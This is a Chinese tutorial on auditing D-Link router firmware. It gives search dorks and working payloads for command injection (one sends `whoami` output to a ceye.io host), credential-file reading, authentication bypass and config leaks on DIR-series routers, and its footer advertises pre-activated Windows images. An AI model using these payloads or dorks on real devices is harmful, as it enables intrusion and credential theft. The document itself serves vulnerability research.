淺談D-Link系列路由器漏洞挖掘入門
前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们。所以回来就决定好好研究一下路由器,争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。
一、准备工作
既然要挖路由器漏洞,首先要搞到路由器的固件。 D-Link路由器固件下载地址:下载完固件发现是个压缩包,解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk,但是缺少一些依赖,所以还是编译安装了一下。
$ sudo apt-get update$ sudo apt-get install build-essential autoconf git # https://github.com/devttys0/binwalk/blob/master/INSTALL.md $ git clone https://github.com/devttys0/binwalk.git $ cd binwalk # python2.7安装 $ sudo python setup.py install # python2.7手动安装依赖库 $ sudo apt-get install python-lzma $ sudo apt-get install python-crypto $ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph $ sudo apt-get install python-pip $ sudo pip install capstone # Install standard extraction utilities(必选) $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools # Install sasquatch to extract non-standard SquashFS images(必选) $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev $ git clone https://github.com/devttys0/sasquatch $ (cd sasquatch && ./build.sh) # Install jefferson to extract JFFS2 file systems(可选) $ sudo pip install cstruct $ git clone https://github.com/sviehb/jefferson $ (cd jefferson && sudo python setup.py install) # Install ubi_reader to extract UBIFS file systems(可选) $ sudo apt-get install liblzo2-dev python-lzo $ git clone https://github.com/jrspruitt/ubi_reader $ (cd ubi_reader && sudo python setup.py install) # Install yaffshiv to extract YAFFS file systems(可选) $ git clone https://github.com/devttys0/yaffshiv $ (cd yaffshiv && sudo python setup.py install) # Install unstuff (closed source) to extract StuffIt archive files(可选) $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv$ sudo cp bin/unstuff /usr/local/bin/按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。 然后用 binwalk -Me 固件包名称 解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里 squashfs-root 文件夹,就是路由器的完整固件包。 漏 洞 挖 掘 此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在 suashfs-root/www 或者 suashfs-root/htdocs 文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。
二、D-Link DIR-645 & DIR-815 命令执行漏洞
Zoomeye dork:DIR-815 or DIR-645
这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。这个漏洞出现在 diagnostic.php 文件。直接看代码
HTTP/1.1 200 OKContent-Type: text/xmlif ($_POST["act"] == "ping"){set("/runtime/diagnostic/ping", $_POST["dst"]);$result = "OK";}else if ($_POST["act"] == "pingreport"){$result = get("x", "/runtime/diagnostic/ping");}echo '';?>=$result?> 分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set(“/runtime/diagnostic/ping”, $_POST["dst"]); 这段代码就是造成漏洞的关键代码。参数 dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = “OK”; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload
url = 'localhost/diagnostic.php' data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。
三、D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞
Zoomeye dork:DIR-300 or DIR-600
这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。
漏洞出现在 /model/__show_info.php 文件。
if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd"){echo "404 Not Found ";echo "404 Not Found
";}else{if($REQUIRE_FILE!=""){require($LOCALE_PATH."/".$REQUIRE_FILE);}else{echo $m_context;echo $m_context2;//jana addedif($m_context_next!=""){echo $m_context_next;}echo "
";if($USE_BUTTON=="1"){echo ""; }}} ?>这里看到已经禁止了 $REQUIRE_FILE 的参数为 var/etc/httpasswd 和 var/etc/hnapasswd 。这么一看无法获取账号密码。但是我们可以从根路径开始配置 httpasswd 的路径,就可以绕过这个过滤了。
payload:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
这里设置 REQUIRE_FILE=/var/etc/httpasswd 成功绕过上面的 if 判断,进行任意文件读取。
四、D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞
Zoomeye dork:DIR-300 or DIR-615
这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹
默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:
$MY_NAME ="login_fail";$MY_MSG_FILE=$MY_NAME.".php";$NO_NEED_AUTH="1";$NO_SESSION_TIMEOUT="1";require("/www/model/__html_head.php");?>此漏洞触发的原因在于 全局文件 _html_head.php 。
if ($NO_NEED_AUTH!="1"){ // require("/www/auth/__authenticate_p.php");// if ($AUTH_RESULT=="401") {exit;} require("/www/auth/__authenticate_s.php"); if($AUTH_RESULT=="401") {require("/www/login.php"); exit;} if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;} if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;} $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");}require("/www/model/__lang_msg.php");?>这里我们看到 $NO_NEED_AUTH!=”1″ 如果 $NO_NEED_AUTH 不为 1 则进入身份认证。如果我们把$NO_NEED_AUTH 值设置为 1 那就绕过了认证进行任意操作。
payload:
localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
这里 AUTH_GROUP=0 表示admin权限
五、D-Link DIR-645 信息泄露漏洞
Zoomeye dork:DIR-645
这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/htdocs 文件夹
D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);$SERVICE_INDEX = 0;while ($SERVICE_INDEX 这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的 SERVICES 的值。如果 $GETCFG_SVC 不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php 文件。payload:
http://localhost/getcfg.php
post:SERVICES=DEVICE.ACCOUNT
六、总结
可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。
路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
推薦系統(tǒng)
雨林木風 winxp下載 純凈版 永久激活 winxp ghost系統(tǒng) sp3 系統(tǒng)下載
系統(tǒng)大?。?/em>0MB系統(tǒng)類型:WinXP雨林木風在系統(tǒng)方面技術積累雄厚深耕多年,打造了國內(nèi)重裝系統(tǒng)行業(yè)知名品牌,雨林木風WindowsXP其系統(tǒng)口碑得到許多人認可,積累了廣大的用戶群體,是一款穩(wěn)定流暢的系統(tǒng),雨林木風 winxp下載 純凈版 永久激活 winxp ghost系統(tǒng) sp3 系統(tǒng)下載,有需要的朋友速度下載吧。
系統(tǒng)等級:進入下載 >蘿卜家園win7純凈版 ghost系統(tǒng)下載 x64 聯(lián)想電腦專用
系統(tǒng)大?。?/em>0MB系統(tǒng)類型:Win7蘿卜家園win7純凈版是款非常純凈的win7系統(tǒng),此版本優(yōu)化更新了大量的驅(qū)動,幫助用戶們進行舒適的使用,更加的適合家庭辦公的使用,方便用戶,有需要的用戶們快來下載安裝吧。
系統(tǒng)等級:進入下載 >雨林木風xp系統(tǒng) xp系統(tǒng)純凈版 winXP ghost xp sp3 純凈版系統(tǒng)下載
系統(tǒng)大?。?/em>1.01GB系統(tǒng)類型:WinXP雨林木風xp系統(tǒng) xp系統(tǒng)純凈版 winXP ghost xp sp3 純凈版系統(tǒng)下載,雨林木風WinXP系統(tǒng)技術積累雄厚深耕多年,采用了新的系統(tǒng)功能和硬件驅(qū)動,可以更好的發(fā)揮系統(tǒng)的性能,優(yōu)化了系統(tǒng)、驅(qū)動對硬件的加速,加固了系統(tǒng)安全策略,運行環(huán)境安全可靠穩(wěn)定。
系統(tǒng)等級:進入下載 >蘿卜家園win10企業(yè)版 免激活密鑰 激活工具 V2023 X64位系統(tǒng)下載
系統(tǒng)大小:0MB系統(tǒng)類型:Win10蘿卜家園在系統(tǒng)方面技術積累雄厚深耕多年,打造了國內(nèi)重裝系統(tǒng)行業(yè)的蘿卜家園品牌,(win10企業(yè)版,win10 ghost,win10鏡像),蘿卜家園win10企業(yè)版 免激活密鑰 激活工具 ghost鏡像 X64位系統(tǒng)下載,其系統(tǒng)口碑得到許多人認可,積累了廣大的用戶群體,蘿卜家園win10純凈版是一款穩(wěn)定流暢的系統(tǒng),一直以來都以用戶為中心,是由蘿卜家園win10團隊推出的蘿卜家園
系統(tǒng)等級:進入下載 >蘿卜家園windows10游戲版 win10游戲?qū)I(yè)版 V2023 X64位系統(tǒng)下載
系統(tǒng)大?。?/em>0MB系統(tǒng)類型:Win10蘿卜家園windows10游戲版 win10游戲?qū)I(yè)版 ghost X64位 系統(tǒng)下載,蘿卜家園在系統(tǒng)方面技術積累雄厚深耕多年,打造了國內(nèi)重裝系統(tǒng)行業(yè)的蘿卜家園品牌,其系統(tǒng)口碑得到許多人認可,積累了廣大的用戶群體,蘿卜家園win10純凈版是一款穩(wěn)定流暢的系統(tǒng),一直以來都以用戶為中心,是由蘿卜家園win10團隊推出的蘿卜家園win10國內(nèi)鏡像版,基于國內(nèi)用戶的習慣,做
系統(tǒng)等級:進入下載 >windows11下載 蘿卜家園win11專業(yè)版 X64位 V2023官網(wǎng)下載
系統(tǒng)大小:0MB系統(tǒng)類型:Win11蘿卜家園在系統(tǒng)方面技術積累雄厚深耕多年,windows11下載 蘿卜家園win11專業(yè)版 X64位 官網(wǎng)正式版可以更好的發(fā)揮系統(tǒng)的性能,優(yōu)化了系統(tǒng)、驅(qū)動對硬件的加速,使得軟件在WINDOWS11系統(tǒng)中運行得更加流暢,加固了系統(tǒng)安全策略,WINDOWS11系統(tǒng)在家用辦公上跑分表現(xiàn)都是非常優(yōu)秀,完美的兼容各種硬件和軟件,運行環(huán)境安全可靠穩(wěn)定。
系統(tǒng)等級:進入下載 >
相關文章
- 安卓手機QQ 4.7.2正式發(fā)布 顯示在線好友的網(wǎng)絡狀態(tài)
- 瑞星安全隨身WiFi怎么用 瑞星隨身WiFi有何亮點以及使用方法
- 您的WiFi安全嗎?讓路由衛(wèi)士來為您把關讓它變得更快,更安全
- 大勢至局域網(wǎng)共享文件管理軟件詳細記錄服務器共享文件訪問日志、保護共享文件安全
- 金山毒霸發(fā)布全新的V11新春版:殺毒速度更快/軟件凈化
- WinXP如何進入安全模式?WinXP進入安全模式設置
- 怎樣消除免費WIFI的安全隱患?一張圖看懂免費WIFI的安全隱患
- 毒app優(yōu)惠券怎么獲得 毒app無門檻優(yōu)惠券攻略
- 京東通信卡流量超標怎樣關閉移動網(wǎng)絡?
- 詳解火絨安全軟件怎么樣
- Win10系統(tǒng)下安全登錄失敗初始化失敗怎么辦?
- 360安全衛(wèi)士怎么更改默認軟件?
- 360稱特斯拉應用存漏洞 特斯拉不安全?
- win10安全模式跳過開機密碼可行嗎
熱門系統(tǒng)
推薦軟件
推薦應用
推薦游戲
熱門文章
常用系統(tǒng)
- 1番茄花園win11游戲裝機版 簡體中文 ghost ISO鏡像 X64位下載
- 2系統(tǒng)之家win11旗艦版 x64位正式版下載 ghost鏡像 華碩筆記本專用下載
- 3 風林火山 Ghost Win11 64位 穩(wěn)定專業(yè)版
- 4【開學季】Windows11純凈版系統(tǒng)番茄花園 ghost系統(tǒng) ISO鏡像 X64位下載
- 5蘿卜家園win10企業(yè)版 x86全能特快版下載 筆記本專用 GHOST鏡像下載
- 6深度技術WINDOWS11旗艦版系統(tǒng) X64位 V2022.04下載
- 7番茄花園win10娛樂版 x64位中文版下載 ghost鏡像 聯(lián)想電腦專用下載
- 8 電腦公司 Ghost Win11 64位 專業(yè)激活版
- 9深度技術win10專業(yè)版 免激活 X64位 V2022.04下載